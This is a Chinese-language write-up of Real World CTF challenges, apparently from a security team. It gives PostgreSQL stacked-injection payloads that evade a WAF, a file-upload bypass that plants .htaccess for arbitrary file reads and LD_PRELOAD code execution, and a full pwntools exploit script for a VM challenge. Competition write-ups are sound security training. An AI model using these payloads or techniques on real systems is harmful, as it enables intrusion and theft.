Web
Hack into Skynet
首先是代码审计,审出前端逻辑绕过
进去后是
这里存在 sql 注入,由于这个项目是使用 psql,会跟常用的 mysql 有些语法区别。且这个项目里的分类器存在 waf,经常 403,恼火的点。
最开始尝试了name=' or '1
, 得到 skynet: 1997-04-19 00:00:00
然后再折腾,要么 psql 语法问题,要么经常遇到 403, 得转变思维,重点肯定是在 psql 或者说 sql 的语法,首先尝试 psql 的堆叠注入
name=';--
没403,但也没 target,但至少堆叠注入的思路大概不会错
psql 有预处理的语法,使用上
name='; PREPARE pcat AS select 1,2; EXECUTE pcat;--
显示出来,那离解题很近了, 查表名
name='; PREPARE pcat AS select 1,tablename from pg_tables where schemaname='public' offset 0;; EXECUTE pcat;--
查了几个表名:
-
target -
target_credentials -
login_session -
exp -
passwd -
result -
a -
cmd_exe
查列名
原本是想用
select 1,column_name from information_schema.columns where table_schema='public' and table_name='target_credentials' offset 0
结果有 where 语句里的 = 号就给 403,可恶。但我也可以爆破列名
name='; PREPARE pcat AS select table_name,column_name from information_schema.columns offset 0; EXECUTE pcat;--
上 intruder,把 offset 后面的序数作为爆破点,使用 Numbers,并在结果的Options→Grep-Extract
加上匹配表名(这次我的查询语句加上了表名),让我方便定位列名。
最后试了下,在第 2 个表有一个secret_key
name='; PREPARE pcat AS select 1,secret_key from target_credentials offset 0; EXECUTE pcat;--
RWDN
/source 路由下有 nodejs 源码, 根据源码中的提示,访问/source?checkin=0
可以获取 check.js 的源码。
上传是在 31337 端口上,服务是 nodejs。上传成功后在 31338 端口(也就是 CDN)访问文件,服务是 apache。
访问http://47.243.75.225:31338/
获得提示: Welcome to my CDN! Execute /readflag to get flag.
也就是说,题目是两个容器(nodejs 31337, cdn 31338)开启的,两个容器存在文件同步,flag 在 CDN 服务器上。
check.js
server.js
可以看到 check.js 里面在检测的时候没有校验文件与 formid 一致性,当后缀检测通过后,直接 next(),而反观 server.js 中在 check 过后,最终 move 上传文件的时候,是以 GET 参数上 formid 为准的。两者不一致导致我们可以通过上传多个文件来 bypass 文件后缀名检查。
我们在上传的时候,同时上传两个文件,一个文件名后缀是白名单的, name 与 formid 不一致,一个文件名是我们最终要上传的, name 参数与 formid 一致,即可利用白后缀文件来通过 check,而在最终 move 的时候,狸猫换太子,把恶意文件传上去。
在上传之前,我们注意到 server.js 里关于 uploadPath 的计算方法
sampleFile = req.files[req.query.formid];
userdir = md5(md5(req.socket.remoteAddress) + sampleFile.md5);
userfile = sampleFile.name.toString();
if(userfile.includes('/')||userfile.includes('..')){
return res.status(500).send("Invalid file name");
}
uploadPath = '/uploads/' + userdir + '/' + userfile;
文件目录的 hash 与文件内容和访问者的 IP 有关,所以还需要提前计算好目录 hash,这里有个懒办法,就是把同样的内容,先用白后缀上传一次,就知道目录 hash 了,然后再用双文件的方式上传即可。
任意文件上传:
步骤 1,准备你想要上传的文件, 将后缀改成白名单列表里的后缀,比如 a.txt
步骤 2,增加一个白后缀的文件,内容随意,之后将要上传的文件改成你要的文件名
再发送,虽然得到 something error 但我们想要的文件已经上传了
访问步骤 1 的目录,发现文件确实上传了
这里记得目录大概 3 分钟左右被清理,这时候你重放下 bp 的包即可。
不断测试之后,发现上传.htaccess
之后,再从 CDN 访问可以生效
利用ErrorDocument 404
读取任意文件
ErrorDocument 404 "%{file:/etc/apache2/apache2.conf}"
发现apache2.conf
配置文件中有ext_mod_filter
的配置
ExtFilterDefine 7f39f8317fgzip mode=output cmd=/bin/gzip
我们如果设置了7f39f8317fgzip这个 output filter,之后 apache 在返回页面的时候,会调用/bin/gzip
命令。
RCE:上传恶意 so 文件,利用.htaccess
设置 LD_PRELOAD 环境变量,之后访问页面触发劫持。
/readflag 有验证码,这个验证码之前比赛出过好多了,找个 perl 脚本来操作一下
上传 perl 脚本
上传 so 文件,内容是执行 perl 脚本并重定向到/tmp/fuckblag
上传 .htaccess 文件
访问目录触发 LD_PRELOAD 执行
再随便访问一个 404 页面读 flag 文件
Pwn
svme
vm sp 没有 check,通过 CALL 指令将 vm 结构体中堆和栈地址存入 call_stack,LOAD 指令覆盖 globals 指针为栈地址,使用GLOAD/GSTORE
进行栈空间读写覆盖返回地址执行 ROP
from pwn import *
#p = process("./svme")
p = remote("47.243.140.252", 1337)
'''
{ "noop", 0 }, // 0
{ "iadd", 0 }, // 1
{ "isub", 0 }, // 2
{ "imul", 0 }, // 3
{ "ilt", 0 }, // 4
{ "ieq", 0 }, // 5
{ "br", 1 }, // 7
{ "brt", 1 }, // 8
{ "brf", 1 }, // 9
{ "iconst", 1 }, // 10
{ "load", 1 },
{ "gload", 1 },
{ "store", 1 },
{ "gstore", 1 },
{ "print", 0 },
{ "pop", 0 },
{ "call", 3 },
{ "ret", 0 },
{ "halt", 0 }
'''
payload = p32(0x10)+p32(4)+p32(0x7)+p32(0)+p32(0xa)+p32(0x6)+p32(0xa)+p32(0x5)+p32(0xa)+p32(0x4)+p32(0xa)+p32(0x3)
payload += p32(0xa)+p32(0x6)+p32(0xa)+p32(0x5)+p32(0xb)+p32(0x87)+p32(0xb)+p32(0x86)+p32(0x9)+p32(0xfffffac0)+p32(1)
payload += p32(0xd)+p32(0x86)+p32(0xd)+p32(0x87)#+p32(0xd)+p32(0x88)+p32(0xd)+p32(0x89)+p32(0xf)+p32(0x9)+p32(0)+p32(1)+p32(0xd)+p32(0x88)+p32(0xd)+p32(0x89)
payload += p32(0xb)+p32(0x87)+p32(0xb)+p32(0x86)+p32(0x9)+p32(0xffffffff)+p32(1)+p32(0xd)+p32(0x88)+p32(0xd)+p32(0x89)
payload += p32(0xb)+p32(0x87)+p32(0xb)+p32(0x86)+p32(0x9)+p32(0x190a37)+p32(1)+p32(0xd)+p32(0x8a)+p32(0xd)+p32(0x8b)
payload += p32(0xb)+p32(0x87)+p32(0xb)+p32(0x86)+p32(0x9)+p32(0x2e89d)+p32(1)+p32(0xd)+p32(0x8c)+p32(0xd)+p32(0x8d)
payload += p32(0xf)*2+p32(0xa)+p32(0x2)+p32(0xa)+p32(0x1)
payload += p32(9)+p32(0)+p32(9)+p32(0)+p32(9)+p32(0)+p32(9)+p32(0)+p32(0x12)#
p.send(payload.ljust(0x200, b"x00"))
p.interactive()
check-in
Quadrennial
Time and the dragons always tell the real.
Tip:4 words in the right order/use the underscore to connect the truth and put it in the flag format rwctf{something}.
按词序来拼接即可
rwctf{Super_Hunters_Conquer_Together}
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):RWCTF-WriteUp